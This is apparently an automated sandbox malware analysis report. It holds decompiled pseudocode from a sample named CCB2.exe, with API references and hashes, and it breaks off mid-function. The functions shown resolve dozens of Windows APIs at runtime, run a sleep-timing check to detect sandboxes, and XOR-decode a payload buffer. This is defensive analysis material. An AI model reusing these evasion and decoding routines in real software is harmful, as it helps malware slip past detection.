						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t38);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t35 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t35, __fp0);
							_t36 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t36, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L6;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c16
0x00402c16
0x00402c16
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.807913506.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_BB8A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction ID: 22f91f3ad527b43ded7c43fe05e3e31a54a2160e6f7bd47ea20a36d237ffec38
Opcode Fuzzy Hash: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction Fuzzy Hash: 4401CC20518105F9FF01B7628F1A9BE75699F00348F24007BBC41B52E6DBBD8F15AA2E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040DF48, Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040DF6E

Part of subcall function 0040DD93: __fltout2.LIBCMT ref: 0040DDBF

__cftog_l.LIBCMT ref: 0040DF94
__cftoe_l.LIBCMT ref: 0040DFC6

Memory Dump Source

Source File: 0000000C.00000002.807948931.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_409000_BB8A.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 371dcc409b8a9c37bc45af426a8add198d970d59fd773847fc00fd30e5f9ded3
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 7B11803280014EBBCF125EC4CC41CEE3F22BF19354B198426FA1968171C23AC9B5AB85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CCB2.exe PID: 6844 Parent PID: 3424 CCB2.exeCOMMON

Execution Graph

Execution Coverage:	9.4%
Dynamic/Decrypted Code Coverage:	56.2%
Signature Coverage:	2.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	27

Executed Functions

Function 0040C2E0, Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 109
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C2E0() {
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;
				CHAR* _t5;
				intOrPtr _t6;
				struct HINSTANCE__* _t8;
				CHAR* _t11;
				struct HINSTANCE__* _t13;
				CHAR* _t16;
				struct HINSTANCE__* _t18;
				CHAR* _t21;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t26;
				CHAR* _t28;
				struct HINSTANCE__* _t29;
				struct HINSTANCE__* _t30;
				CHAR* _t31;
				struct HINSTANCE__* _t32;
				CHAR* _t33;
				struct HINSTANCE__* _t34;
				CHAR* _t35;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				CHAR* _t38;
				CHAR* _t39;
				intOrPtr _t40;
				struct HINSTANCE__* _t41;
				CHAR* _t42;
				struct HINSTANCE__* _t43;
				CHAR* _t44;
				struct HINSTANCE__* _t45;
				CHAR* _t46;
				struct HINSTANCE__* _t47;

				if( *0x41aa64 != 0) {
					_t6 =  *0x41a1f0; // 0x7e7298
					_t30 =  *0x41aa64; // 0x73b60000
					 *0x41aa14 = E0040C1B0(_t30, _t6);
					_t40 =  *0x41a474; // 0x7f9180
					_t8 =  *0x41aa64; // 0x73b60000
					 *0x41a970 = E0040C1B0(_t8, _t40);
					_t31 =  *0x41a718; // 0x7f9198
					_t41 =  *0x41aa64; // 0x73b60000
					 *0x41aa8c = GetProcAddress(_t41, _t31);
					_t11 =  *0x41a33c; // 0x7e42b8
					_t32 =  *0x41aa64; // 0x73b60000
					 *0x41a88c = GetProcAddress(_t32, _t11);
					_t42 =  *0x41a5bc; // 0x7e5648
					_t13 =  *0x41aa64; // 0x73b60000
					 *0x41aa68 = GetProcAddress(_t13, _t42);
					_t33 =  *0x41a4b0; // 0x7f90c0
					_t43 =  *0x41aa64; // 0x73b60000
					 *0x41a9cc = GetProcAddress(_t43, _t33);
					_t16 =  *0x41a4c8; // 0x7f9030
					_t34 =  *0x41aa64; // 0x73b60000
					 *0x41a9e4 = GetProcAddress(_t34, _t16);
					_t44 =  *0x41a7d4; // 0x7f91b0
					_t18 =  *0x41aa64; // 0x73b60000
					 *0x41a984 = GetProcAddress(_t18, _t44);
					_t35 =  *0x41a324; // 0x7f8fe8
					_t45 =  *0x41aa64; // 0x73b60000
					 *0x41aa04 = GetProcAddress(_t45, _t35);
					_t21 =  *0x41a6f0; // 0x7f8f58
					_t36 =  *0x41aa64; // 0x73b60000
					 *0x41aa78 = GetProcAddress(_t36, _t21);
					_t46 =  *0x41a7b0; // 0x7e5868
					_t23 =  *0x41aa64; // 0x73b60000
					 *0x41a9f4 = GetProcAddress(_t23, _t46);
					_t37 =  *0x41a218; // 0x7e5608
					_t47 =  *0x41aa64; // 0x73b60000
					 *0x41aaa0 = GetProcAddress(_t47, _t37);
					_t26 =  *0x41aa64; // 0x73b60000
					 *0x41aa50 = GetProcAddress(_t26, "VirtualAllocExNuma");
				}
				_t28 =  *0x41a0f8; // 0x7f9108
				 *0x41a854 = LoadLibraryA(_t28);
				_t38 =  *0x41a658; // 0x7f90a8
				_t2 = LoadLibraryA(_t38); // executed
				 *0x41a934 = _t2;
				if( *0x41a854 != 0) {
					_t5 =  *0x41a594; // 0x7f90d8
					_t29 =  *0x41a854; // 0x73ae0000
					_t2 = GetProcAddress(_t29, _t5);
					 *0x41a944 = _t2;
				}
				if( *0x41a934 != 0) {
					_t39 =  *0x41a0b8; // 0x7e5888
					_t3 =  *0x41a934; // 0x76ae0000
					_t4 = GetProcAddress(_t3, _t39);
					 *0x41a9e0 = _t4;
					return _t4;
				}
				return _t2;
			}

0x0040c2ea
0x0040c2f0
0x0040c2f6
0x0040c305
0x0040c30a
0x0040c311
0x0040c31f
0x0040c324
0x0040c32b
0x0040c338
0x0040c33d
0x0040c343
0x0040c350
0x0040c355
0x0040c35c
0x0040c368
0x0040c36d
0x0040c374
0x0040c381
0x0040c386
0x0040c38c
0x0040c399
0x0040c39e
0x0040c3a5
0x0040c3b1
0x0040c3b6
0x0040c3bd
0x0040c3ca
0x0040c3cf
0x0040c3d5
0x0040c3e2
0x0040c3e7
0x0040c3ee
0x0040c3fa
0x0040c3ff
0x0040c406
0x0040c413
0x0040c41d
0x0040c429
0x0040c429
0x0040c42e
0x0040c43b
0x0040c440
0x0040c447
0x0040c44d
0x0040c459
0x0040c45b
0x0040c461
0x0040c468
0x0040c46e
0x0040c46e
0x0040c47a
0x0040c47c
0x0040c483
0x0040c489
0x0040c48f
0x00000000
0x0040c48f
0x0040c495

APIs

GetProcAddress.KERNEL32(73B60000,007F9198), ref: 0040C332
GetProcAddress.KERNEL32(73B60000,007E42B8), ref: 0040C34A
GetProcAddress.KERNEL32(73B60000,007E5648), ref: 0040C362
GetProcAddress.KERNEL32(73B60000,007F90C0), ref: 0040C37B
GetProcAddress.KERNEL32(73B60000,007F9030), ref: 0040C393
GetProcAddress.KERNEL32(73B60000,007F91B0), ref: 0040C3AB
GetProcAddress.KERNEL32(73B60000,007F8FE8), ref: 0040C3C4
GetProcAddress.KERNEL32(73B60000,007F8F58), ref: 0040C3DC
GetProcAddress.KERNEL32(73B60000,007E5868), ref: 0040C3F4
GetProcAddress.KERNEL32(73B60000,007E5608), ref: 0040C40D
GetProcAddress.KERNEL32(73B60000,VirtualAllocExNuma), ref: 0040C423
LoadLibraryA.KERNEL32(007F9108,?,00406B72), ref: 0040C435
LoadLibraryA.KERNELBASE(007F90A8,?,00406B72), ref: 0040C447
GetProcAddress.KERNEL32(73AE0000,007F90D8), ref: 0040C468
GetProcAddress.KERNEL32(76AE0000,007E5888), ref: 0040C489

Strings

HV~, xrefs: 0040C355
hX~, xrefs: 0040C3E7
VirtualAllocExNuma, xrefs: 0040C418

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: HV~$VirtualAllocExNuma$hX~
API String ID: 2238633743-3037383776
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: a0d7b009b4cf0954f7e46bb6ba0f8cea1e563656be094aab1f3a6ea2fda818d0
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: A44165F5523200DFC344DFA8EE8899637B9BB8C251705CA39E50983672D7389561CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406AA0, Relevance: 4.5, APIs: 3, Instructions: 19
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406AA0() {
				long _v8;
				intOrPtr _v12;

				_v8 = GetTickCount();
				Sleep(0x2710); // executed
				_v12 = GetTickCount() - _v8;
				if(_v12 <= 0x1770) {
					return 0;
				}
				return 1;
			}

0x00406aac
0x00406ab4
0x00406ac3
0x00406acd
0x00000000
0x00406ad8
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00406AA6
Sleep.KERNELBASE(00002710,?,00406B84), ref: 00406AB4
GetTickCount.KERNEL32 ref: 00406ABA

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: 5e65db4bb8db0037cc9712db6db32af1b7f49a6c19175b0f31c2b6dd27f19f6d
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: F8E04F30949118DBCB00BFB4D9080AD7BB0EB01342F10C0B29807A2280DA784D609F5B

Uniqueness

Uniqueness Score: -1.00%

Function 004048D0, Relevance: 3.1, APIs: 2, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004048D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				void* _t28;
				signed int _t33;
				void* _t53;

				_t28 = LocalAlloc(0x40, _a12 + 1); // executed
				_v12 = _t28;
				 *((char*)(_v12 + _a12)) = 0;
				_v16 = 0;
				while(_v16 < _a12) {
					_t33 = E0040B740(_a4 + _v16, _a8);
					_t53 = _t53 + 4;
					 *((char*)(_v12 + _v16)) =  *(_a4 + _v16) ^  *(_a8 + _v16 % _t33);
					_v16 = _v16 + 1;
				}
				_v8 = 0;
				VirtualProtect(_v12, 4, 0x100,  &_v8); // executed
				return _v12;
			}

0x004048e0
0x004048e6
0x004048ef
0x004048f2
0x00404904
0x00404919
0x0040491e
0x00404939
0x00404901
0x00404901
0x0040493d
0x00404953
0x00404960

APIs

LocalAlloc.KERNELBASE(00000040,?), ref: 004048E0
VirtualProtect.KERNELBASE(?,00000004,00000100,00000000), ref: 00404953

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: AllocLocalProtectVirtual
String ID:
API String ID: 4134893223-0
Opcode ID: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction ID: 4623e7d36af2260dceec399572c1bb905ae2e9b6f15e47edd37a55d804c2928b
Opcode Fuzzy Hash: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction Fuzzy Hash: 561173B4E00248EFCB04DFA8C890BAEBBB5FF49305F108099EA15A7341C735AA11CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4A0, Relevance: 300.1, APIs: 144, Strings: 27, Instructions: 865
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C4A0() {
				CHAR* _t2;
				struct HINSTANCE__* _t3;
				CHAR* _t6;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				struct HINSTANCE__* _t9;
				CHAR* _t10;
				struct HINSTANCE__* _t11;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__* _t13;
				CHAR* _t14;
				struct HINSTANCE__* _t15;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				CHAR* _t18;
				_Unknown_base(*)()* _t19;
				struct HINSTANCE__* _t20;
				CHAR* _t23;
				struct HINSTANCE__* _t25;
				CHAR* _t28;
				struct HINSTANCE__* _t30;
				CHAR* _t33;
				CHAR* _t34;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				struct HINSTANCE__* _t39;
				CHAR* _t41;
				struct HINSTANCE__* _t43;
				CHAR* _t46;
				struct HINSTANCE__* _t48;
				CHAR* _t50;
				struct HINSTANCE__* _t52;
				CHAR* _t55;
				struct HINSTANCE__* _t57;
				struct HINSTANCE__* _t59;
				CHAR* _t60;
				struct HINSTANCE__* _t61;
				CHAR* _t64;
				struct HINSTANCE__* _t66;
				CHAR* _t69;
				struct HINSTANCE__* _t71;
				CHAR* _t74;
				struct HINSTANCE__* _t76;
				CHAR* _t79;
				struct HINSTANCE__* _t81;
				CHAR* _t83;
				struct HINSTANCE__* _t85;
				CHAR* _t88;
				struct HINSTANCE__* _t90;
				struct HINSTANCE__* _t92;
				CHAR* _t95;
				struct HINSTANCE__* _t97;
				CHAR* _t100;
				struct HINSTANCE__* _t102;
				CHAR* _t105;
				struct HINSTANCE__* _t107;
				CHAR* _t110;
				struct HINSTANCE__* _t112;
				CHAR* _t115;
				struct HINSTANCE__* _t117;
				CHAR* _t120;
				struct HINSTANCE__* _t122;
				CHAR* _t124;
				struct HINSTANCE__* _t127;
				CHAR* _t128;
				struct HINSTANCE__* _t130;
				CHAR* _t133;
				struct HINSTANCE__* _t135;
				CHAR* _t138;
				struct HINSTANCE__* _t140;
				CHAR* _t143;
				struct HINSTANCE__* _t145;
				CHAR* _t148;
				struct HINSTANCE__* _t150;
				CHAR* _t153;
				struct HINSTANCE__* _t155;
				CHAR* _t158;
				struct HINSTANCE__* _t160;
				CHAR* _t163;
				struct HINSTANCE__* _t165;
				CHAR* _t168;
				struct HINSTANCE__* _t170;
				CHAR* _t173;
				struct HINSTANCE__* _t175;
				CHAR* _t178;
				struct HINSTANCE__* _t180;
				CHAR* _t183;
				struct HINSTANCE__* _t185;
				CHAR* _t188;
				struct HINSTANCE__* _t190;
				CHAR* _t193;
				struct HINSTANCE__* _t195;
				CHAR* _t198;
				struct HINSTANCE__* _t200;
				CHAR* _t203;
				struct HINSTANCE__* _t205;
				CHAR* _t208;
				struct HINSTANCE__* _t210;
				struct HINSTANCE__* _t213;
				struct HINSTANCE__* _t217;
				CHAR* _t220;
				CHAR* _t221;
				CHAR* _t222;
				CHAR* _t223;
				struct HINSTANCE__* _t224;
				CHAR* _t225;
				CHAR* _t226;
				struct HINSTANCE__* _t227;
				CHAR* _t228;
				struct HINSTANCE__* _t229;
				CHAR* _t230;
				struct HINSTANCE__* _t231;
				struct HINSTANCE__* _t232;
				struct HINSTANCE__* _t233;
				CHAR* _t234;
				struct HINSTANCE__* _t235;
				CHAR* _t236;
				struct HINSTANCE__* _t237;
				CHAR* _t238;
				struct HINSTANCE__* _t239;
				CHAR* _t240;
				struct HINSTANCE__* _t241;
				CHAR* _t242;
				CHAR* _t243;
				struct HINSTANCE__* _t244;
				CHAR* _t245;
				struct HINSTANCE__* _t246;
				CHAR* _t247;
				struct HINSTANCE__* _t248;
				CHAR* _t249;
				struct HINSTANCE__* _t250;
				CHAR* _t251;
				struct HINSTANCE__* _t252;
				CHAR* _t253;
				struct HINSTANCE__* _t254;
				CHAR* _t255;
				struct HINSTANCE__* _t256;
				struct HINSTANCE__* _t257;
				CHAR* _t258;
				struct HINSTANCE__* _t259;
				CHAR* _t260;
				struct HINSTANCE__* _t261;
				CHAR* _t262;
				struct HINSTANCE__* _t263;
				CHAR* _t264;
				CHAR* _t265;
				struct HINSTANCE__* _t266;
				CHAR* _t267;
				struct HINSTANCE__* _t268;
				CHAR* _t269;
				struct HINSTANCE__* _t270;
				struct HINSTANCE__* _t271;
				struct HINSTANCE__* _t272;
				struct HINSTANCE__* _t273;
				CHAR* _t274;
				struct HINSTANCE__* _t275;
				CHAR* _t276;
				struct HINSTANCE__* _t277;
				CHAR* _t278;
				struct HINSTANCE__* _t279;
				CHAR* _t280;
				struct HINSTANCE__* _t281;
				CHAR* _t282;
				struct HINSTANCE__* _t283;
				CHAR* _t284;
				struct HINSTANCE__* _t285;
				CHAR* _t286;
				struct HINSTANCE__* _t287;
				CHAR* _t288;
				struct HINSTANCE__* _t289;
				CHAR* _t290;
				struct HINSTANCE__* _t291;
				CHAR* _t292;
				struct HINSTANCE__* _t293;
				CHAR* _t294;
				struct HINSTANCE__* _t295;
				CHAR* _t296;
				struct HINSTANCE__* _t297;
				CHAR* _t298;
				struct HINSTANCE__* _t299;
				CHAR* _t300;
				struct HINSTANCE__* _t301;
				CHAR* _t302;
				struct HINSTANCE__* _t303;
				CHAR* _t304;
				struct HINSTANCE__* _t305;
				CHAR* _t306;
				struct HINSTANCE__* _t307;
				struct HINSTANCE__* _t308;
				CHAR* _t309;
				CHAR* _t310;
				CHAR* _t311;
				CHAR* _t312;
				CHAR* _t313;
				CHAR* _t314;
				struct HINSTANCE__* _t315;
				struct HINSTANCE__* _t316;
				CHAR* _t317;
				struct HINSTANCE__* _t318;
				CHAR* _t319;
				struct HINSTANCE__* _t320;
				CHAR* _t321;
				CHAR* _t322;
				struct HINSTANCE__* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				CHAR* _t326;
				struct HINSTANCE__* _t327;
				CHAR* _t328;
				struct HINSTANCE__* _t329;
				CHAR* _t330;
				struct HINSTANCE__* _t331;
				struct HINSTANCE__* _t332;
				CHAR* _t333;
				CHAR* _t334;
				struct HINSTANCE__* _t335;
				CHAR* _t336;
				struct HINSTANCE__* _t337;
				CHAR* _t338;
				struct HINSTANCE__* _t339;
				CHAR* _t340;
				struct HINSTANCE__* _t341;
				CHAR* _t342;
				struct HINSTANCE__* _t343;
				CHAR* _t344;
				struct HINSTANCE__* _t345;
				CHAR* _t346;
				CHAR* _t347;
				struct HINSTANCE__* _t348;
				CHAR* _t349;
				struct HINSTANCE__* _t350;
				CHAR* _t351;
				struct HINSTANCE__* _t352;
				CHAR* _t353;
				struct HINSTANCE__* _t354;
				struct HINSTANCE__* _t355;
				CHAR* _t356;
				struct HINSTANCE__* _t357;
				CHAR* _t358;
				struct HINSTANCE__* _t359;
				CHAR* _t360;
				struct HINSTANCE__* _t361;
				CHAR* _t362;
				struct HINSTANCE__* _t363;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				struct HINSTANCE__* _t367;
				CHAR* _t368;
				struct HINSTANCE__* _t369;
				CHAR* _t370;
				struct HINSTANCE__* _t371;
				CHAR* _t372;
				struct HINSTANCE__* _t373;
				CHAR* _t374;
				struct HINSTANCE__* _t375;
				CHAR* _t376;
				struct HINSTANCE__* _t377;
				CHAR* _t378;
				struct HINSTANCE__* _t379;
				CHAR* _t380;
				struct HINSTANCE__* _t381;
				CHAR* _t382;
				struct HINSTANCE__* _t383;
				CHAR* _t384;
				struct HINSTANCE__* _t385;
				CHAR* _t386;
				struct HINSTANCE__* _t387;
				CHAR* _t388;
				struct HINSTANCE__* _t389;
				CHAR* _t390;
				struct HINSTANCE__* _t391;
				CHAR* _t392;
				struct HINSTANCE__* _t393;
				CHAR* _t394;
				struct HINSTANCE__* _t395;
				struct HINSTANCE__* _t396;

				if( *0x41aa64 != 0) {
					_t128 =  *0x41a0b4; // 0x7fa3f0
					_t273 =  *0x41aa64; // 0x73b60000
					 *0x41a9b4 = GetProcAddress(_t273, _t128);
					_t362 =  *0x41a728; // 0x7fa5b8
					_t130 =  *0x41aa64; // 0x73b60000
					 *0x41aa24 = GetProcAddress(_t130, _t362);
					_t274 =  *0x41a2bc; // 0x7e55a8
					_t363 =  *0x41aa64; // 0x73b60000
					 *0x41a9bc = GetProcAddress(_t363, _t274);
					_t133 =  *0x41a668; // 0x7fa708
					_t275 =  *0x41aa64; // 0x73b60000
					 *0x41a8b0 = GetProcAddress(_t275, _t133);
					_t364 =  *0x41a5d8; // 0x7fa690
					_t135 =  *0x41aa64; // 0x73b60000
					 *0x41a910 = GetProcAddress(_t135, _t364);
					_t276 =  *0x41a26c; // 0x7fa660
					_t365 =  *0x41aa64; // 0x73b60000
					 *0x41a8b8 = GetProcAddress(_t365, _t276);
					_t138 =  *0x41a64c; // 0x7fa720
					_t277 =  *0x41aa64; // 0x73b60000
					 *0x41aa90 = GetProcAddress(_t277, _t138);
					_t366 =  *0x41a4b8; // 0x7fa678
					_t140 =  *0x41aa64; // 0x73b60000
					 *0x41a908 = GetProcAddress(_t140, _t366);
					_t278 =  *0x41a2b4; // 0x7fa6c0
					_t367 =  *0x41aa64; // 0x73b60000
					 *0x41aa70 = GetProcAddress(_t367, _t278);
					_t143 =  *0x41a7bc; // 0x7fa6d8
					_t279 =  *0x41aa64; // 0x73b60000
					 *0x41a9d8 = GetProcAddress(_t279, _t143);
					_t368 =  *0x41a49c; // 0x7fa930
					_t145 =  *0x41aa64; // 0x73b60000
					 *0x41aa10 = GetProcAddress(_t145, _t368);
					_t280 =  *0x41a4fc; // 0x7fa918
					_t369 =  *0x41aa64; // 0x73b60000
					 *0x41a8cc = GetProcAddress(_t369, _t280);
					_t148 =  *0x41a3a8; // 0x7faa08
					_t281 =  *0x41aa64; // 0x73b60000
					 *0x41aa9c = GetProcAddress(_t281, _t148);
					_t370 =  *0x41a1c0; // 0x7e5748
					_t150 =  *0x41aa64; // 0x73b60000
					 *0x41a998 = GetProcAddress(_t150, _t370);
					_t282 =  *0x41a1f8; // 0x7fa948
					_t371 =  *0x41aa64; // 0x73b60000
					 *0x41a9a0 = GetProcAddress(_t371, _t282);
					_t153 =  *0x41a7ac; // 0x7e5588
					_t283 =  *0x41aa64; // 0x73b60000
					 *0x41aaac = GetProcAddress(_t283, _t153);
					_t372 =  *0x41a5f8; // 0x7f99d0
					_t155 =  *0x41aa64; // 0x73b60000
					 *0x41a904 = GetProcAddress(_t155, _t372);
					_t284 =  *0x41a0dc; // 0x7fa780
					_t373 =  *0x41aa64; // 0x73b60000
					 *0x41aac4 = GetProcAddress(_t373, _t284);
					_t158 =  *0x41a30c; // 0x7e5728
					_t285 =  *0x41aa64; // 0x73b60000
					 *0x41a86c = GetProcAddress(_t285, _t158);
					_t374 =  *0x41a664; // 0x7faa38
					_t160 =  *0x41aa64; // 0x73b60000
					 *0x41a8fc = GetProcAddress(_t160, _t374);
					_t286 =  *0x41a04c; // 0x7e54e8
					_t375 =  *0x41aa64; // 0x73b60000
					 *0x41aad0 = GetProcAddress(_t375, _t286);
					_t163 =  *0x41a0f0; // 0x7fa828
					_t287 =  *0x41aa64; // 0x73b60000
					 *0x41aa44 = GetProcAddress(_t287, _t163);
					_t376 =  *0x41a134; // 0x7fa8b8
					_t165 =  *0x41aa64; // 0x73b60000
					 *0x41a974 = GetProcAddress(_t165, _t376);
					_t288 =  *0x41a460; // 0x7fa990
					_t377 =  *0x41aa64; // 0x73b60000
					 *0x41a8e4 = GetProcAddress(_t377, _t288);
					_t168 =  *0x41a554; // 0x7fa8d0
					_t289 =  *0x41aa64; // 0x73b60000
					 *0x41a868 = GetProcAddress(_t289, _t168);
					_t378 =  *0x41a190; // 0x7e57a8
					_t170 =  *0x41aa64; // 0x73b60000
					 *0x41a96c = GetProcAddress(_t170, _t378);
					_t290 =  *0x41a52c; // 0x7fa7c8
					_t379 =  *0x41aa64; // 0x73b60000
					 *0x41aad8 = GetProcAddress(_t379, _t290);
					_t173 =  *0x41a5d0; // 0x7fa7e0
					_t291 =  *0x41aa64; // 0x73b60000
					 *0x41a930 = GetProcAddress(_t291, _t173);
					_t380 =  *0x41a268; // 0x7fa9a8
					_t175 =  *0x41aa64; // 0x73b60000
					 *0x41a8a8 = GetProcAddress(_t175, _t380);
					_t292 =  *0x41a3f8; // 0x7e57c8
					_t381 =  *0x41aa64; // 0x73b60000
					 *0x41a894 = GetProcAddress(_t381, _t292);
					_t178 =  *0x41a3a4; // 0x7fa960
					_t293 =  *0x41aa64; // 0x73b60000
					 *0x41a8c4 = GetProcAddress(_t293, _t178);
					_t382 =  *0x41a048; // 0x7fa7b0
					_t180 =  *0x41aa64; // 0x73b60000
					 *0x41a914 = GetProcAddress(_t180, _t382);
					_t294 =  *0x41a6b0; // 0x7fa7f8
					_t383 =  *0x41aa64; // 0x73b60000
					 *0x41a8b4 = GetProcAddress(_t383, _t294);
					_t183 =  *0x41a458; // 0x7faa50
					_t295 =  *0x41aa64; // 0x73b60000
					 *0x41a9dc = GetProcAddress(_t295, _t183);
					_t384 =  *0x41a364; // 0x7fa810
					_t185 =  *0x41aa64; // 0x73b60000
					 *0x41aad4 = GetProcAddress(_t185, _t384);
					_t296 =  *0x41a550; // 0x7e5a08
					_t385 =  *0x41aa64; // 0x73b60000
					 *0x41a8a4 = GetProcAddress(_t385, _t296);
					_t188 =  *0x41a13c; // 0x7e5bc8
					_t297 =  *0x41aa64; // 0x73b60000
					 *0x41a8a0 = GetProcAddress(_t297, _t188);
					_t386 =  *0x41a428; // 0x7fa888
					_t190 =  *0x41aa64; // 0x73b60000
					 *0x41aa20 = GetProcAddress(_t190, _t386);
					_t298 =  *0x41a420; // 0x7fa8e8
					_t387 =  *0x41aa64; // 0x73b60000
					 *0x41a9d4 = GetProcAddress(_t387, _t298);
					_t193 =  *0x41a02c; // 0x7e5b08
					_t299 =  *0x41aa64; // 0x73b60000
					 *0x41aab0 = GetProcAddress(_t299, _t193);
					_t388 =  *0x41a184; // 0x7f97c8
					_t195 =  *0x41aa64; // 0x73b60000
					 *0x41a9a4 = GetProcAddress(_t195, _t388);
					_t300 =  *0x41a118; // 0x7fa840
					_t389 =  *0x41aa64; // 0x73b60000
					 *0x41a8c8 = GetProcAddress(_t389, _t300);
					_t198 =  *0x41a1a4; // 0x7fa858
					_t301 =  *0x41aa64; // 0x73b60000
					 *0x41a860 = GetProcAddress(_t301, _t198);
					_t390 =  *0x41a400; // 0x7e58a8
					_t200 =  *0x41aa64; // 0x73b60000
					 *0x41a9b0 = GetProcAddress(_t200, _t390);
					_t302 =  *0x41a654; // 0x7e5b48
					_t391 =  *0x41aa64; // 0x73b60000
					 *0x41a8f4 = GetProcAddress(_t391, _t302);
					_t203 =  *0x41a3dc; // 0x7e59e8
					_t303 =  *0x41aa64; // 0x73b60000
					 *0x41a850 = GetProcAddress(_t303, _t203);
					_t392 =  *0x41a2dc; // 0x7fa768
					_t205 =  *0x41aa64; // 0x73b60000
					 *0x41a858 = GetProcAddress(_t205, _t392);
					_t304 =  *0x41a5f4; // 0x7e5b28
					_t393 =  *0x41aa64; // 0x73b60000
					 *0x41a92c = GetProcAddress(_t393, _t304);
					_t208 =  *0x41a780; // 0x7fa870
					_t305 =  *0x41aa64; // 0x73b60000
					 *0x41a978 = GetProcAddress(_t305, _t208);
					_t394 =  *0x41a0d8; // 0x7e5b68
					_t210 =  *0x41aa64; // 0x73b60000
					 *0x41aa1c = GetProcAddress(_t210, _t394);
					_t306 =  *0x41a6ac; // 0x7e5a68
					_t395 =  *0x41aa64; // 0x73b60000
					 *0x41a890 = GetProcAddress(_t395, _t306);
					_t213 =  *0x41aa64; // 0x73b60000
					 *0x41aa58 = GetProcAddress(_t213, "CreateThread");
					_t307 =  *0x41aa64; // 0x73b60000
					 *0x41a8e8 = GetProcAddress(_t307, "GetEnvironmentVariableA");
